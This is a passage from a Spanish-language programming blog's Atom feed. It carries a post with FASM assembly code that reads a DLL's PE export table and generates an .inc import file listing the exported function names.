href='http://diariodeyst.blogspot.com/feeds/17529329314592604/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=17529329314592604&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/17529329314592604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/17529329314592604'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/04/visor-pe-by-yst.html' title='Visor PE by YST'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-1339745675076508441</id><published>2009-04-16T17:41:00.000-07:00</published><updated>2009-04-16T17:44:34.110-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>Codigo creador de *.inc</title><content type='html'>Este codigo te crea un .inc de cualquier libreria (*.DLL ) que quieras , necesita que le agregues a el import de la win32ax.inc las api's printf , scanf y system.&lt;br /&gt;&lt;br /&gt;format pe console&lt;br&gt;espacio equ &lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;data&lt;/span&gt;&lt;br&gt;RutaLib &amp;nbsp; rb MAX_PATH&lt;br&gt;RutaINC &amp;nbsp; rb MAX_PATH&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Ingrese la ruta de la libreria:"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;espacio&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; scanf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"%s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;RutaLib&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Ingrese la ruta de la donde se generara el include:"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;espacio&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; scanf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"%s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;RutaINC&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; CrearImport&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;RutaLib&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;RutaINC&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; CrearImport&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;NombreLIB&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;NombreImport&lt;br&gt;locals&lt;br&gt;DirPEHeader &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;PunteroPEHeader &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;RVAofExportDirectory &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;NumberOfNames &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;AddressOfNames &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;Funcion &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;HFile &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;Nosirve &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;Largo &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;LibHandle &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;endl&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LoadLibrary&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;NombreLIB&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;LibHandle&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;NULL&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;Error&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;03Ch&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;DirPEHeader&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;DirPEHeader&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;PunteroPEHeader&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;PunteroPEHeader&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;PunteroPEHeader&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;word&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"PE"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;Error&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;078h&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;RVAofExportDirectory&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;RVAofExportDirectory&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;018h&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;NumberOfNames&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;NumberOfNames&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;20h&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;AddressOfNames&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;NumberOfNames&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;AddressOfNames&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;LibHandle&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CreateFileA&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;NombreImport&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; GENERIC_WRITE&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; CREATE_ALWAYS&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrlen&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"import "&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"import "&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrlen&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;NombreLIB&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;sub&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;4&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;NombreLIB&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;",\"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; espacio&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt;&amp;nbsp;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;LibHandle&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Funcion&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrlen&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Funcion&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Funcion&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;","&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 